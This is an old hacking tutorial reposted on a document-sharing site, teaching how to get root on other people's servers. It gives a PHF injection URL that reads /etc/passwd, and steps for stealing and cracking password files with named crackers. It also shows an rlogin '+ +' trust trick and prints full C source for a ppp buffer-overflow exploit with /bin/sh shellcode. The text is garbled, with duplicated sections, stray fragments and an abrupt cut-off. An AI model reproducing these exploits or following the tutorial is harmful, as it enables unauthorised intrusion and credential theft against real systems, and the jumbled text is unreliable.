0% found this document useful (0 votes)
352 views

Hack Hack202

The document provides information on hacking techniques to obtain root access on systems, including: 1. Cracking password files by downloading them through anonymous FTP access, finding password cracking tools, and using dictionary attacks. 2. Using the PHF technique to retrieve password files by exploiting vulnerabilities in web scripts. 3. Developing buffer overflow exploits to execute shellcode and obtain root access remotely through services like telnet.

Uploaded by

api-3745663
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
352 views

Hack Hack202

The document provides information on hacking techniques to obtain root access on systems, including: 1. Cracking password files by downloading them through anonymous FTP access, finding password cracking tools, and using dictionary attacks. 2. Using the PHF technique to retrieve password files by exploiting vulnerabilities in web scripts. 3. Developing buffer overflow exploits to execute shellcode and obtain root access remotely through services like telnet.

Uploaded by

api-3745663
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 5

��# #�it's shadowed.

shadowed password files don't let you view or copy the actual
encrypted password. this causes problems for the password cracker and dictionary
maker(both explained later in the text). below is another example of a shadowed
password file:

root:x:0:1:0000-admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-admin(0000):/:
bin:x:2:2:0000-admin(0000):/usr/bin:
sys:x:3:3:0000-admin(0000):/:
adm:x:4:4:0000-admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:network admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:www admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:pinpaper
admin:/export/home/webmastr/new/gregy/test/pin4geo:/bin/false
ftp:x:54:54:anonymous ftp:/export/home/anon_ftp:/bin/false

shadowed password files have an "x" in the place of a password or sometimes they
are disguised as an * as well.

now that you know a little more about what the actual password file looks like you
should be able to identify a normal encrypted pw from a shadowed pw file. we can
now go on to talk about how to crack it.

cracking a password file isn't as complicated as it would seem, although the files
vary from system to system. 1.the first step that you would take is to download or
copy the file. 2. the second step is to find a password cracker and a dictionary
maker. although it's nearly impossible to find a good cracker there are a few ok
ones out there. i recomend that you look for cracker jack, john the ripper, brute
force cracker, or jack the ripper. now for a dictionary maker or a dictionary
file... when you start a cracking prog you will be asked to find the the password
file. that's where a dictionary maker comes in. you can download one from nearly
every hacker page on the net. a dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ascii, caps, lowercase, and numeric
letters may also be added) . we will be releasing our pasword file to the public
soon, it will be called, psychotic candy, "the perfect drug." as far as we know it
will be one of the largest in circulation. 3. you then start up the cracker and
follow the directions that it gives you.

the phf technique

well i wasn't sure if i should include this section due to the fact that everybody
already knows it and most servers have already found out about the bug and fixed
it. but since i have been asked questions about the phf i decided to include it.

the phf technique is by far the easiest way of getting a password file(although it
doesn't work 95% of the time). but to do the phf all you do is open a browser and
type in the following link:

http://webpage_goes_here/cgi-bin/phf?qalias=x%0a/bin/cat%20/etc/passwd
you replace the webpage_goes_here with the domain. so if you were trying to get
the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?qalias=x%0a/bin/cat%20/etc/passwd

and that's it! you just sit back and copy the file(if it works).

telnet and exploits

well exploits are the best way of hacking webpages but they are also more
complicated then hacking through ftp or using the phf. before you can setup an
exploit you must first have a telnet proggie, there are many different clients you
can just do a netsearch and find everything you need.

#, "hacking webpages with a few other techniques." we will discuss a few various
ways of hacking webpages and getting root. we are also going to interview and
question other real hackers on the subjects.

getting the password file through ftp

ok well one of the easiest ways of getting superuser access is through anonymous
ftp access into a webpage. first you need learn a little about the password
file...

root:user:d7bdg:1n2hg2:1127:20:superuser
tomjones:p5y(h0tic:1229:20:tom jones,:/usr/people/tomjones:/bin/csh
bbob:euyd5xaatv2da:1129:20:billy bob:/usr/people/bbob:/bin/csh

this is an example of a regular encrypted password file. the superuser is the part
that gives you root. that's the main part of the file.

root:x:0:1:superuser:/:
ftp:x:202:102:anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp administrator:/u1/ftp

this is another example of a password file, only this one has one little
difference, it's shadowed. shadowed password files don't let you view or copy the
actual encrypted password. this causes problems for the password cracker and
dictionary maker(both explained later in the text). below is another example of a
shadowed password file:

root:x:0:1:0000-admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-admin(0000):/:
bin:x:2:2:0000-admin(0000):/usr/bin:
sys:x:3:3:0000-admin(0000):/:
adm:x:4:4:0000-admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:network admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:www admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:pinpaper
admin:/export/home/webmastr/new/gregy/test/pin4geo:/bin/false
ftp:x:54:54:anonymous ftp:/export/home/anon_ftp:/bin/false

shadowed password files have an "x" in the place of a password or sometimes they
are disguised as an * as well.

now that you know a little more about what the actual password file looks like you
should be able to identify a normal encrypted pw from a shadowed pw file. we can
now go on to talk about how to crack it.

cracking a password file isn't as complicated as it would seem, although the files
vary from system to system. 1.the first step that you would take is to download or
copy the file. 2. the second step is to find a password cracker and a dictionary
maker. although it's nearly impossible to find a good cracker there are a few ok
ones out there. i recomend that you look for cracker jack, john the ripper, brute
force cracker, or jack the ripper. now for a dictionary maker or a dictionary
file... when you start a cracking prog you will be asked to find the the password
file. that's where a dictionary maker comes in. you can download one from nearly
every hacker page on the net. a dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ascii, caps, lowercase, and numeric
letters may also be added) . we will be releasing our pasword file to the public
soon, it will be called, psychotic candy, "the perfect drug." as far as we know it
will be one of the largest in circulation. 3. you then start up the cracker and
follow the directions that it gives you.

the phf technique

well i wasn't sure if i should include this section due to the fact that everybody
already knows it and most servers have already found out about the bug and fixed
it. but since i have been asked questions about the phf i decided to include it.

the phf technique is by far the easiest way of getting a password file(although it
doesn't work 95% of the time). but to do the phf all you do is open a browser and
type in the following link:

http://webpage_goes_here/cgi-bin/phf?qalias=x%0a/bin/cat%20/etc/passwd

you replace the webpage_goes_here with the domain. so if you were trying to get
the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?qalias=x%0a/bin/cat%20/etc/passwd

and that's it! you just sit back and copy the file(if it works).

telnet and exploits

well exploits are the best way of hacking webpages but they are also more
complicated then hacking through ftp or using the phf. before you can setup an
exploit you must first have a telnet proggie, there are many different clients you
can just do a netsearch and find everything you need.

#; 100 356 pp3 s 19:11 0:00 grep pine


hamors 1756 2.7 5.1 226 992 pp2 s 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4


+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that i'm going to show.
exploitation script for the ppp vulnerbility as described by no one to date, this
is not freebsd-sa-96:15. works on
freebsd as tested. mess with the numbers if it doesnt work. this is how you set
it up:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define buffer_size 156 /* size of the bufer to overflow */

#define offset -290 /* number of bytes to jump after the start


of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])


{
char *buf = null;
unsigned long *addr_ptr = null;
char *ptr = null;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16
bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16
bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20
bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15
bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = buffer_size-strlen(execshell);

memset(buf, 0x90, i);


ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)


*ptr++ = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + offset;

ptr = (char *)addr_ptr;


*ptr = 0;

setenv("home", buf, 1);

execl("/usr/sbin/ppp", "ppp", null);


}

now that you've gotten root "what's next?" well the choice is up to you but i
would recommend changing the password before you delete or change anything. to
change their password all you have to do is login via telnet and login with your
new account. then you j

You might also like